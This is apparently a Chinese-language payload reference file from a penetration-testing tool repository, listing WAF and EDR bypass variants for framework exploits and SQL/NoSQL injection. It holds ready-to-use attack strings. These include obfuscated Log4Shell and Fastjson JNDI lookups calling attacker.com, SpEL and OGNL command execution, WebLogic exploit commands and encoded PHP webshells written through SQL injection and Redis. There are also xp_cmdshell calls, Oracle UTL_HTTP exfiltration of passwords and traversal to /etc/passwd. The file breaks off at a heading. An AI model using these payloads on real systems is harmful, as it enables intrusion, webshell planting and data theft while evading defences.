pentest-tools/src-hunter/references/payloader/waf-bypass.md

GitHub

WAF / EDR 绕过 Payload 集

共 176 个原始 payload 含 WAF/EDR 绕过变体

类别索引

类别 原始 payload 数 绕过变体步骤数
框架漏洞 18 29
SQL/NoSQL注入 16 31
API安全 12 22
LFI/RFI文件包含 12 24
RCE远程代码执行 12 17
SSRF服务端请求伪造 12 15
XSS跨站脚本 12 21
SSTI模板注入 10 26
认证漏洞 10 17
XXE实体注入 9 10
CSRF跨站请求伪造 8 14
文件漏洞 7 20
业务逻辑漏洞 5 5
AI安全 4 4
JWT安全 4 4
云安全漏洞 4 4
请求走私 4 11
WebSocket安全 3 3
供应链攻击 3 3
原型链污染 3 3
开放重定向 3 8
缓存与CDN安全 3 6
点击劫持 2 6

框架漏洞

Log4j RCE (Log4Shell) log4j-rce

Apache Log4j远程代码执行漏洞

WAF 绕过:

绕过关键字过滤

使用嵌套表达式绕过

${${lower:j}ndi:ldap://attacker.com}
${${upper:j}ndi:${lower:l}dap://attacker.com}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com}

语法解析:

  • ${lower:j} — 将j转为小写 value
  • ${::-j} — 默认值语法 value

绕过特殊字符过滤

构造协议字符串

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com}
${jndi:dns://attacker.com}

语法解析:

  • jndi: — JNDI查找 method

Spring Actuator漏洞 spring-actuator

Spring Boot Actuator端点安全漏洞

WAF 绕过:

路径遍历与分号参数技巧

Spring框架的分号路径参数特性允许在URL中插入分号段绕过路径匹配规则,结合双编码和路径穿越访问被限制的Actuator端点

# 分号路径参数绕过(Spring特性):
/;/actuator/env
/actuator;.js/env
/actuator/..;/actuator/env

# 双URL编码:
/%61%63%74%75%61%74%6f%72/env
/actuator/%65%6e%76

# 路径穿越:
/random/../actuator/env
/api/v1/../../actuator/heapdump

语法解析:

  • # 分号路径参数绕过(Spring特性): — 主要命令 command
  • ... — 共10行 value

HTTP方法覆盖与Content-Type绕过

使用X-HTTP-Method-Override头覆盖请求方法,或通过非标准Content-Type和大小写变体绕过WAF对Actuator端点的POST请求拦截

# HTTP方法覆盖:
GET /actuator/env HTTP/1.1
X-HTTP-Method-Override: POST

# Content-Type绕过:
POST /actuator/env HTTP/1.1
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://attacker.com/payload.yml

# 大小写绕过:
/Actuator/Env
/ACTUATOR/ENV

语法解析:

  • # HTTP方法覆盖: — 主要命令 command
  • ... — 共10行 value

Fastjson RCE fastjson-rce

Alibaba Fastjson反序列化远程代码执行

WAF 绕过:

Unicode编码与嵌套JSON绕过

通过Unicode(\u0040)、十六进制(\x40)编码@type字段名或嵌套JSON结构绕过WAF对Fastjson特征的检测

# Unicode编码@type:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}

# 十六进制编码:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}

# 嵌套JSON混淆:
{"a":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}

语法解析:

  • # Unicode编码@type: — 主要命令 command
  • ... — 共6行 value

BCEL ClassLoader与版本特异链

针对不同Fastjson版本使用特异性利用链:BCEL ClassLoader加载字节码、1.2.47缓存投毒、1.2.68 expectClass白名单绕过

# BCEL ClassLoader(Fastjson 1.1.15-1.2.24):
{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader","":"$$BCEL$$$l$8b..."}

# Fastjson 1.2.47 AutoType绕过:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}

# Fastjson 1.2.68 expectClass绕过:
{"@type":"java.lang.AutoCloseable","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}

语法解析:

  • # BCEL ClassLoader(Fastjson 1.1.15-1.2.24): — 主要命令 command
  • ... — 共6行 value

Spring SpEL注入 spring-spel

Spring表达式语言注入攻击

WAF 绕过:

字符串拼接

字符串拼接绕过

# 绕过关键字过滤
${T(java.lang.Run"+"time).getRun"+"time().exec("id")}
#{T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("exec",T(String)).invoke(T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("getRuntime").invoke(null),"id")}

语法解析:

  • EXEC — 执行存储过程 keyword
  • Runtime.exec — Java命令执行 function

反射绕过

反射绕过

# 使用反射
#{T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Class).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# 使用ScriptEngine
#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\"id\\")")}

语法解析:

  • EXEC — 执行存储过程 keyword
  • eval() — 代码执行 function
  • Runtime.exec — Java命令执行 function

Spring Cloud漏洞 spring-cloud

Spring Cloud相关漏洞利用

WAF 绕过:

编码绕过

编码绕过

# URL编码绕过
..%252f = ..%2f = ../

# 双重URL编码
..%252f..%252f

语法解析:

  • # — 命令/载荷起始 command
  • ` URL编码绕过 ..%252f = ..%2f = ../

双重URL编码

..%252f..%252f` — 参数与载荷内容 value


Struts2远程代码执行 struts2-rce

Apache Struts2框架RCE漏洞

WAF 绕过:

编码绕过

编码绕过

# URL编码
%{#cmd} = %25%7b%23cmd%7d

# Unicode编码
\u0025{#cmd}

# 双重编码
%2525%257b%2523cmd%257d

语法解析:

  • # — 命令/载荷起始 command
  • ` URL编码 %{#cmd} = %25%7b%23cmd%7d

Unicode编码

%{#cmd}

双重编码

%2525%257b%2523cmd%257d` — 参数与载荷内容 value

表达式变体

表达式变体绕过

# 不同表达式语法
${...}
%{...}
#{...}
@{...}

# 使用静态方法
@java.lang.Runtime@getRuntime()
new java.lang.ProcessBuilder()

语法解析:

  • `# 不同表达式语法 ${...} %{...} #{...} @{...}

使用静态方法

@java` — 模板表达式注入 value


Struts2 OGNL表达式注入 struts2-ognl

Struts2 OGNL表达式注入技术详解

WAF 绕过:

字符编码绕过

字符编码绕过

# Unicode编码
\u0069d = id
\u0027 = '

# 十六进制
\x69\x64 = id

# 字符串拼接
"i"+"d" = "id"
'id'.substring(0,2)

语法解析:

  • \uXXXX — Unicode编码 encoding

反射绕过

反射绕过

# 使用反射调用
#cls=@java.lang.Class@forName("java.lang.Runtime")
#method=#cls.getMethod("getRuntime")
#rt=#method.invoke(null)
#exec=#cls.getMethod("exec",@java.lang.String@class)
#exec.invoke(#rt,"id")

语法解析:

  • # — 命令/载荷起始 command
  • 使用反射调用 #cls=@java.lang.Class@forName("java.lang.Runtime") #method=#cls.getMethod("getRuntime") #rt=#method.invoke(null) #exec=#cls.getMethod("exec",@java.lang.String@class) #exec.invoke(#rt,"id") — 参数与载荷内容 value

WebLogic远程代码执行 weblogic-rce

Oracle WebLogic Server RCE漏洞

WAF 绕过:

路径编码绕过

路径编码绕过

# 不同编码方式
/console/css/..;/console.portal
/console/css/%2e%2e/console.portal
/console/css/%252e%252e/console.portal
/console/css/..%252fconsole.portal

语法解析:

  • # — 命令/载荷起始 command
  • 不同编码方式 /console/css/..;/console.portal /console/css/%2e%2e/console.portal /console/css/%252e%252e/console.portal /console/css/..%252fconsole.portal — 参数与载荷内容 value

XML变体

XML变体绕过

# 使用不同XML标签
<void class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>id</string>
</void>
</void>

# 使用数组形式
<array class="java.lang.String" length="1">
<void index="0"><string>id</string></void>
</array>

语法解析:

  • `# 使用不同XML标签

WebLogic T3协议攻击 weblogic-t3

WebLogic T3协议反序列化漏洞

WAF 绕过:

Gadget链选择

Gadget链选择

# 不同Gadget链
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsBeanutils1
Jdk7u21
Jre8u20

# 根据目标环境选择合适的链

语法解析:

  • # — 命令/载荷起始 command
  • ` 不同Gadget链 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsBeanutils1 Jdk7u21 Jre8u20

根据目标环境选择合适的链` — 参数与载荷内容 value


WebLogic IIOP协议攻击 weblogic-iiop

WebLogic IIOP协议反序列化漏洞

WAF 绕过:

协议切换

协议切换绕过

# 在T3和IIOP之间切换
# 如果T3被禁用,尝试IIOP
# 使用不同协议绕过检测

语法解析:

  • T3 — WebLogic专有协议,常被WAF重点监控 parameter
  • IIOP — CORBA标准协议,功能类似T3但WAF检测较少 parameter
  • 协议切换 — 当T3被禁用/检测时切换到IIOP绕过防护 command

ThinkPHP远程代码执行 thinkphp-rce

ThinkPHP框架RCE漏洞

WAF 绕过:

编码绕过

编码绕过

# URL编码
?s=%2fIndex%2f%5cthink%5capp%2finvokefunction

# 大小写混合
?s=/Index/\Think\App/invokefunction

# 双重编码
?s=%252fIndex%252f%255cthink%255capp%252finvokefunction

语法解析:

  • # — 命令/载荷起始 command
  • ` URL编码 ?s=%2fIndex%2f%5cthink%5capp%2finvokefunction

大小写混合

?s=/Index/\Think\App/invokefunction

双重编码

?s=%252fIndex%252f%255cthink%255capp%252finvokefunction` — 参数与载荷内容 value

路径变体

路径变体绕过

# 不同路径格式
?s=/index/think\app/invokefunction
?s=index/think/app/invokefunction
?s=/index/\think\App/invokefunction

# 使用不同入口点
/index.php?s=...
/?s=...
/public/index.php?s=...

语法解析:

  • # — 命令/载荷起始 command
  • ` 不同路径格式 ?s=/index/think\app/invokefunction ?s=index/think/app/invokefunction ?s=/index/\think\App/invokefunction

使用不同入口点

/index.php?s=... /?s=... /public/index.php?s=...` — 参数与载荷内容 value


Laravel远程代码执行 laravel-rce

Laravel框架RCE漏洞

WAF 绕过:

路径绕过

路径绕过

# 尝试不同路径
/.env
/.env.example
/.env.local
/.env.production
/../.env
/..%2f.env
/..%252f.env

语法解析:

  • # — 命令/载荷起始 command
  • 尝试不同路径 /.env /.env.example /.env.local /.env.production /../.env /..%2f.env /..%252f.env — 参数与载荷内容 value

Apache Shiro反序列化 shiro-deserialize

Apache Shiro RememberMe反序列化漏洞

WAF 绕过:

Gadget链选择

Gadget链选择

# 不同Gadget链
CommonsCollections2
CommonsBeanutils1
Jdk7u21
JRMPClient

# 根据目标环境选择
# 某些链可能被过滤

语法解析:

  • # — 命令/载荷起始 command
  • ` 不同Gadget链 CommonsCollections2 CommonsBeanutils1 Jdk7u21 JRMPClient

根据目标环境选择

某些链可能被过滤` — 参数与载荷内容 value

密钥爆破

密钥爆破

# 使用工具爆破密钥
git clone https://github.com/insightglacier/Shiro_exploit
python3 shiro_exploit.py -t http://target -f keys.txt

# 或使用ShiroScan
java -jar shiro_scan.jar -t http://target -f keys.txt

语法解析:

  • # 使用工具爆破密钥 git clone https://github.com/insightglacier/Shiro_exploit python3 s — 攻击载荷 value

JBoss漏洞利用 jboss-vuln

JBoss应用服务器漏洞

WAF 绕过:

端点变体

端点变体

# 不同端点
/invoker/JMXInvokerServlet
/invoker/EJBInvokerServlet
/invoker/readonly/JMXInvokerServlet
/jmx-console/
/web-console/

语法解析:

  • # — 命令/载荷起始 command
  • 不同端点 /invoker/JMXInvokerServlet /invoker/EJBInvokerServlet /invoker/readonly/JMXInvokerServlet /jmx-console/ /web-console/ — 参数与载荷内容 value

Apache Tomcat漏洞 tomcat-vuln

Apache Tomcat服务器漏洞利用

WAF 绕过:

文件名绕过

文件名绕过

# 不同文件名变体
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
shell.jsp%00
shell.jSp
shell.jsP

语法解析:

  • # — 命令/载荷起始 command
  • 不同文件名变体 shell.jsp%20 shell.jsp::$DATA shell.jsp/ shell.jsp%00 shell.jSp shell.jsP — 参数与载荷内容 value

Django框架漏洞 django-vuln

Django框架安全漏洞

WAF 绕过:

编码绕过

编码绕过

# URL编码
/static/%2e%2e/%2e%2e/etc/passwd

# 双重编码
/static/%252e%252e/%252e%252e/etc/passwd

# Unicode编码
/static/..%c0%af..%c0%af/etc/passwd

语法解析:

  • # — 命令/载荷起始 command
  • ` URL编码 /static/%2e%2e/%2e%2e/etc/passwd

双重编码

/static/%252e%252e/%252e%252e/etc/passwd

Unicode编码

/static/..%c0%af..%c0%af/etc/passwd` — 参数与载荷内容 value


Flask框架漏洞 flask-vuln

Flask框架安全漏洞

WAF 绕过:

SSTI绕过

SSTI绕过

# 过滤绕过
# 使用attr
{{''|attr('__class__')|attr('__mro__')}}

# 使用request
{{request|attr('application')|attr('__globals__')}}

# 使用字符串拼接
{{'__cla'~'ss__'}}

# 使用编码
{{''['\x5f\x5fclass\x5f\x5f']}}

WebLogic XMLDecoder weblogic-xmldecoder

利用WebLogic Server中XMLDecoder反序列化漏洞(CVE-2017-10271/CVE-2017-3506)实现远程代码执行

WAF 绕过:

备用反序列化端点

尝试WebLogic WLS-WSAT组件的多个不同SOAP端点,部分端点可能未被WAF规则覆盖

# 尝试不同的XMLDecoder入口
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType11
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/ParticipantPortType
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationPortTypeRPC
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationRequesterPortType

语法解析:

  • # 尝试不同的XMLDecoder入口 — 主要命令 command
  • ... — 共6行 value

T3/IIOP协议绕过HTTP层WAF

使用T3或IIOP协议发送反序列化payload,绕过仅检测HTTP流量的WAF

# T3协议利用(绕过HTTP层WAF)
python3 weblogic_t3_exploit.py -t target:7001 -c "id"

# IIOP协议利用
python3 weblogic_iiop_exploit.py -t target:7001 -c "whoami"

# 使用ysoserial生成T3 payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/test" | python3 t3_send.py target 7001

语法解析:

  • # T3协议利用(绕过HTTP层WAF) — 主要命令 command
  • ... — 共6行 value

XML编码混淆绕过

通过XML编码(UTF-16/CDATA/实体编码)混淆payload内容绕过基于内容匹配的WAF

<!-- UTF-16编码绕过 -->
<?xml version="1.0" encoding="UTF-16"?>

<!-- CDATA包裹关键字 -->
<java>
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0"><string><![CDATA[/bin/sh]]></string></void>
      <void index="1"><string><![CDATA[-c]]></string></void>
      <void index="2"><string><![CDATA[id]]></string></void>
    </array>
    <void method="start"/>
  </object>
</java>

语法解析:

  • <!-- UTF-16编码绕过 --> — XML内容 value
  • <?xml version="1.0" encoding="UTF-16"?> — XML声明/实体定义 tag
  • `
SQL/NoSQL注入

MySQL注入 - 基础探测 sqli-mysql-basic

MySQL数据库注入基础探测与数据提取技术

WAF 绕过:

大小写混淆

使用大小写混合绕过关键字过滤

' UnIoN SeLeCt 1,database(),3--
' uNiOn SeLeCt 1,user(),3--

语法解析:

  • UnIoN SeLeCt — 混合大小写绕过简单关键字匹配 value

内联注释

使用MySQL特有内联注释绕过

' /*!UNION*/ /*!SELECT*/ 1,database(),3--
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--

语法解析:

  • /*!UNION*/ — MySQL会执行注释内的SQL value
  • /*!50000 — 指定MySQL版本5.00.00以上执行 value

双写绕过

双写关键字绕过替换过滤

' UNUNIONION SELSELECTECT 1,database(),3--
' UNIunionON SELselectECT 1,2,3--

语法解析:

  • UNUNIONION — WAF删除UNION后变成UNION value
  • SELSELECTECT — WAF删除SELECT后变成SELECT value

空格替代

使用注释、换行、括号替代空格

'/**/UNION/**/SELECT/**/1,database(),3--
' %0aUNION%0aSELECT%0a1,2,3--
'(UNION(SELECT(1),(database()),(3)))--

语法解析:

  • /**/ — 注释替代空格 operator
  • %0a — 换行符URL编码 encoding
  • () — 括号包裹替代空格 value

编码绕过

使用编码函数绕过关键字检测

' UNION SELECT 1,hex(database()),3--
' UNION SELECT 1,unhex(hex(database())),3--
' UNION SELECT 1,conv(hex(database()),16,10),3--

语法解析:

  • hex() — 十六进制编码 function
  • unhex() — 十六进制解码 function
  • conv() — 进制转换 function

MySQL注入 - 高级技术 sqli-mysql-advanced

MySQL高级注入技术:文件读写、UDF提权、命令执行

WAF 绕过:

Hex编码写入

使用十六进制编码绕过关键字检测 platform: linux

' UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO DUMPFILE '/var/www/html/shell.php'--

语法解析:

  • 0x3c3f706870... — PHP一句话的十六进制编码 value
  • INTO DUMPFILE — 写入二进制文件 keyword

Char编码绕过

使用CHAR函数编码绕过 platform: linux

' UNION SELECT 1,CHAR(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62),3 INTO OUTFILE '/var/www/html/s.php'--

语法解析:

  • CHAR(60,63...) — 使用ASCII码值构造字符串 value

MSSQL注入 - 基础探测 sqli-mssql-basic

Microsoft SQL Server数据库注入技术

WAF 绕过:

Hex编码

使用Hex编码绕过

' UNION SELECT 1,master.dbo.fn_varbintohexstr(CAST(username AS VARBINARY)),3 FROM users--

语法解析:

  • fn_varbintohexstr() — 转换为十六进制字符串 function

注释绕过

使用注释和空字节绕过

'/**/UNION/**/SELECT/**/1,2,3--
' UN%00ION SELECT 1,2,3--

语法解析:

  • UNION — 合并查询结果 keyword
  • SELECT — 查询数据 keyword
  • -- — SQL注释 operator
  • /*...*/ — 内联注释 operator
  • %xx — URL编码 encoding

MSSQL注入 - 高级技术 sqli-mssql-advanced

MSSQL高级注入:xp_cmdshell、SP_OACREATE命令执行

WAF 绕过:

堆叠查询

使用动态SQL绕过 platform: windows

'; EXEC('EXEC master..xp_cmdshell ''whoami''')--
'; DECLARE @cmd VARCHAR(255); SET @cmd='whoami'; EXEC master..xp_cmdshell @cmd;--

语法解析:

  • EXEC() — 执行动态SQL function
  • DECLARE — 声明变量 keyword

Oracle注入 - 基础探测 sqli-oracle-basic

Oracle数据库注入基础技术

WAF 绕过:

UTL_HTTP外带

使用UTL_HTTP外带数据

' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)),NULL FROM DUAL--

语法解析:

  • UTL_HTTP.REQUEST() — 发起HTTP请求 function

Oracle注入 - 高级技术 sqli-oracle-advanced

Oracle高级注入技术:Java存储过程、UTL_FILE文件操作

WAF 绕过:

Oracle特有函数绕过

使用Oracle XMLType、DBMS_PIPE、CASE表达式等特有函数绕过WAF关键字检测

' UNION SELECT 1,XMLType('<root>'||CHR(60)||'data'||CHR(62)||user||'</data></root>') FROM DUAL--
' UNION SELECT 1,DBMS_PIPE.PACK_MESSAGE(user)||DBMS_PIPE.SEND_MESSAGE('pipe1') FROM DUAL--
' UNION SELECT 1,CASE WHEN (SELECT user FROM DUAL)='SYS' THEN 'admin' ELSE 'user' END FROM DUAL--

语法解析:

  • UNION — 合并查询结果 keyword
  • SELECT...FROM — 查询数据 keyword
  • CASE WHEN — 条件表达式 keyword
  • -- — SQL注释 operator

Oracle注释与编码绕过

使用注释符替代空格、CHR()编码字符串、RAWTOHEX/UTL_ENCODE进行数据编码绕过

' UNION/**/SELECT/**/1,user/**/FROM/**/DUAL--
' UNION SELECT 1,CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78) FROM DUAL--
' UNION SELECT 1,RAWTOHEX(user) FROM DUAL--
' UNION SELECT 1,UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW(user))) FROM DUAL--

语法解析:

  • UNION — 合并查询结果 keyword
  • SELECT...FROM — 查询数据 keyword
  • HEX() — 十六进制编码 encoding
  • -- — SQL注释 operator
  • /*...*/ — 内联注释 operator
  • base64 — Base64编码 encoding

PostgreSQL注入 - 基础探测 sqli-postgres-basic

PostgreSQL数据库注入技术

WAF 绕过:

编码绕过

使用chr函数编码

' UNION SELECT chr(60)||chr(63)||'php system($_GET[c]);'||chr(63)||chr(62),NULL--

语法解析:

  • chr() — 返回ASCII字符 function

SQLite注入 sqli-sqlite-basic

SQLite数据库注入攻击

WAF 绕过:

SQLite字符编码绕过

使用CHAR()函数构造字符串、X前缀十六进制字面量、typeof()和unicode()进行类型推断盲注绕过WAF

' UNION SELECT CHAR(116,101,115,116),NULL--
' UNION SELECT X'746573746461746131',NULL--
' AND typeof(CASE WHEN unicode(substr((SELECT name FROM sqlite_master LIMIT 1),1,1))>96 THEN 1 ELSE 0.0 END)='integer'--

语法解析:

  • UNION — 合并查询结果 keyword
  • SELECT...FROM — 查询数据 keyword
  • CASE WHEN — 条件表达式 keyword
  • SUBSTRING — 字符串截取 function
  • -- — SQL注释 operator

SQLite运算符与函数替代

使用LIKE/GLOB模式匹配替代等号、instr()替代SUBSTRING、group_concat配合replace混淆数据

' AND (SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%user%')--
' AND (SELECT name FROM sqlite_master WHERE type='table' AND name GLOB '*user*')--
' UNION SELECT replace(group_concat(name,','),'_',''),NULL FROM sqlite_master WHERE type='table'--
' AND instr((SELECT sql FROM sqlite_master LIMIT 1),'password')>0--

语法解析:

  • UNION — 合并查询结果 keyword
  • SELECT...FROM — 查询数据 keyword
  • WHERE — 条件筛选 keyword
  • CONCAT — 字符串拼接 function
  • GROUP_CONCAT — 分组拼接 function
  • -- — SQL注释 operator

MongoDB注入 sqli-mongodb-basic

NoSQL数据库注入攻击技术

WAF 绕过:

Unicode绕过

Unicode编码绕过

{"username": {"\u0024ne": ""}}
使用Unicode编码$符号

语法解析:

  • \uXXXX — Unicode编码 encoding

Redis未授权访问 sqli-redis

Redis未授权访问和命令注入

WAF 绕过:

Redis命令混淆绕过

使用引号分割命令字符串、拼接变量等方式混淆Redis命令绕过WAF检测

redis-cli -h target.com
> "C""O""N""F""I""G" SET dir /var/www/html/
> $(printf 'CONF')$(printf 'IG') SET dbfilename shell.php
> SET shell "<?php system(\$_GET['cmd']); ?>"
> SAVE

语法解析:

  • system() — 系统命令执行 function
  • $() — 命令替换 operator

Redis Lua脚本执行绕过

通过EVAL执行Lua脚本间接调用Redis命令,绕过对CONFIG/SET等直接命令的检测

redis-cli -h target.com
> EVAL "redis.call('set','shell','<?php system(\$_GET[c]); ?>')" 0
> EVAL "redis.call('config','set','dir','/var/www/html/')" 0
> EVAL "redis.call('config','set','dbfilename','test.php')" 0
> EVAL "redis.call('save')" 0

语法解析:

  • system() — 系统命令执行 function

布尔盲注 sqli-blind

基于布尔条件的SQL盲注技术

WAF 绕过:

布尔盲注条件表达式替代

使用CASE WHEN替代IF()、MID()替代SUBSTRING()、LEFT/RIGHT组合截取、BETWEEN替代大于小于比较

' AND (CASE WHEN (MID(database(),1,1)='a') THEN 1 ELSE 0 END)=1--
' AND LEFT(database(),1)>'a'--
' AND RIGHT(LEFT(database(),2),1)='d'--
' AND ORD(MID(database(),1,1))BETWEEN 97 AND 122--

语法解析:

  • CASE WHEN — 条件表达式 keyword
  • SUBSTRING — 字符串截取 function
  • -- — SQL注释 operator

布尔盲注数学运算与位运算绕过

使用HEX/CONV进行编码比较、位与运算(&)判断字符范围、POW()数学函数混淆、DIV替代AND

' AND (SELECT CONV(HEX(SUBSTR(database(),1,1)),16,10))>96--
' AND (SELECT ORD(MID(database(),1,1))&0x40)=0x40--
' AND (SELECT POW(ORD(MID(database(),1,1)),0))+0=1--
' DIV 1 AND (SELECT LENGTH(database()))>0--

语法解析:

  • SELECT — 查询数据 keyword
  • SUBSTRING — 字符串截取 function
  • HEX() — 十六进制编码 encoding
  • -- — SQL注释 operator

时间盲注 sqli-time-based

基于时间延迟的SQL盲注技术

WAF 绕过:

时间延迟替代函数绕过

使用BENCHMARK()替代SLEEP()、笛卡尔积重查询消耗时间、GET_LOCK()锁等待、CASE条件触发延时

' AND BENCHMARK(5000000,SHA1('test'))--
' AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)--
' AND GET_LOCK('sqli_test',5)--
' AND (CASE WHEN database() LIKE '%' THEN BENCHMARK(3000000,MD5('x')) ELSE 0 END)--

语法解析:

  • SELECT...FROM — 查询数据 keyword
  • information_schema — 元数据库 value
  • BENCHMARK — 基准测试延迟 function
  • CASE WHEN — 条件表达式 keyword
  • -- — SQL注释 operator

跨数据库时间延迟绕过

利用各数据库特有的时间延迟方法:PostgreSQL的pg_sleep条件触发、MSSQL的IF条件WAITFOR、Oracle的DBMS_PIPE.RECEIVE_MESSAGE替代DBMS_LOCK

PostgreSQL: ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Oracle: ' AND 1=CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END--
MySQL: ' AND (SELECT SLEEP(5) FROM DUAL WHERE 1=1)--

语法解析:

  • SELECT...FROM — 查询数据 keyword
  • WHERE — 条件筛选 keyword
  • SLEEP() — 时间延迟 function
  • WAITFOR DELAY — MSSQL延迟 keyword
  • CASE WHEN — 条件表达式 keyword
  • -- — SQL注释 operator

报错注入 sqli-error-based

利用错误信息提取数据的SQL注入

WAF 绕过:

替代报错函数绕过

使用GEOMETRYCOLLECTION空间函数、JSON_KEYS、ST_LatFromGeoHash等冷门函数替代extractvalue/updatexml触发报错

' AND GEOMETRYCOLLECTION((SELECT * FROM (SELECT * FROM (SELECT version())a)b))--
' AND (SELECT 1 FROM (SELECT NTILE(1) OVER(ORDER BY (SELECT version())))a)--
' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7e,version())) USING utf8)))--
' AND ST_LatFromGeoHash(version())--

语法解析:

  • SELECT...FROM — 查询数据 keyword
  • CONCAT — 字符串拼接 function
  • ORDER BY — 排序/列数探测 keyword
  • -- — SQL注释 operator

编码与科学计数法绕过

使用unhex(hex())双层编码、EXP()科学计数法溢出、URL双重编码(%26%26替代AND)绕过WAF检测

' AND extractvalue(1,concat(0x7e,(SELECT unhex(hex(database())))))--
' AND 1=1 AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7e,database(),0x7e) x)a))--
' AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.schemata GROUP BY x)a)--
' %26%26 updatexml(1,concat(0x7e,(select%20database())),1)--%20

语法解析:

  • SELECT...FROM — 查询数据 keyword
  • information_schema — 元数据库 value
  • CONCAT — 字符串拼接 function
  • HEX() — 十六进制编码 encoding
  • UNHEX() — 十六进制解码 encoding
  • -- — SQL注释 operator
  • %xx — URL编码 encoding

二阶SQL注入 sqli-second-order

存储后触发的SQL注入攻击

WAF 绕过:

编码存储触发绕过

在存储阶段使用注释截断(/**/)或CHAR()编码构造payload,WAF在输入时检测不到恶意SQL,但数据库二次使用时自动触发

注册用户名: admin'/*
随后修改密码时SQL变为: UPDATE users SET password='new' WHERE username='admin'/*'

注册用户名: CONCAT(CHAR(39),CHAR(32),CHAR(79),CHAR(82),CHAR(32),CHAR(39),CHAR(49),CHAR(39),CHAR(61),CHAR(39),CHAR(49))
存储后二次使用时自动解码触发注入

语法解析:

  • WHERE — 条件筛选 keyword
  • UPDATE...SET — 更新数据 keyword
  • CONCAT — 字符串拼接 function

Unicode标准化绕过

利用Unicode全角字符(U+FF07)标准化、转义序列还原、不同功能模块的过滤差异来绕过WAF检测

注册用户名: admin' OR '1'='1
(使用全角引号U+FF07,数据库标准化为半角后触发)

注册邮箱: test@test.com' UNION SELECT password FROM users WHERE '1'='1
(邮箱验证通过WAF但存储后在其他查询中拼接触发)

评论内容: \x27 OR 1=1--
(转义序列在存储层被还原为单引号)

语法解析:

  • UNION — 合并查询结果 keyword
  • SELECT...FROM — 查询数据 keyword
  • WHERE — 条件筛选 keyword
  • OR '1'='1' — 逻辑永真 keyword
  • -- — SQL注释 operator

联合查询注入 sqli-union

使用UNION SELECT提取数据

WAF 绕过:

UNION注入关键字绕过

使用MySQL版本注释/!50000/、URL编码UNION/SELECT关键字、%23换行绕过、空白字符混淆(%09 TAB, %0d CR, %0b VT)

' /*!50000UNION*/ /*!50000SELECT*/ 1,database(),3--
' %55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3--
' uNiOn%23%0aSeLeCt 1,2,3--
' UNION%0a%09%0d%0bSELECT%0a1,2,3--

语法解析:

  • UNION — 合并查询结果 keyword
  • SELECT — 查询数据 keyword
  • -- — SQL注释 operator
  • /*...*/ — 内联注释 operator
  • %xx — URL编码 encoding

UNION注入NULL字节与分块绕过

使用NULL字节(%00)截断WAF检测、UNION ALL绕过去重检测、HTTP分块传输编码将关键字分散到不同chunk、自定义SEPARATOR替代默认逗号

' UNION%00SELECT 1,2,3--
' /*!UNION*/%20/*!ALL*//*!SELECT*/ 1,2,3--
Transfer-Encoding: chunked

5
UNION
7
 SELECT
1
 
0

' UNION SELECT 1,group_concat(table_name SEPARATOR 0x3c62723e),3 FROM information_schema.tables WHERE table_schema=database()--

语法解析:

  • UNION — 合并查询结果 keyword
  • SELECT...FROM — 查询数据 keyword
  • WHERE — 条件筛选 keyword
  • information_schema — 元数据库 value
  • CONCAT — 字符串拼接 function
  • GROUP_CONCAT — 分组拼接 function
  • -- — SQL注释 operator
  • /*...*/ — 内联注释 operator
  • %xx — URL编码 encoding
  • Transfer-Encoding — 传输编码头 header
  • chunked — 分块传输 keyword

堆叠查询注入 sqli-stacked

执行多条SQL语句的注入

WAF 绕过:

堆叠查询终止符替代绕过

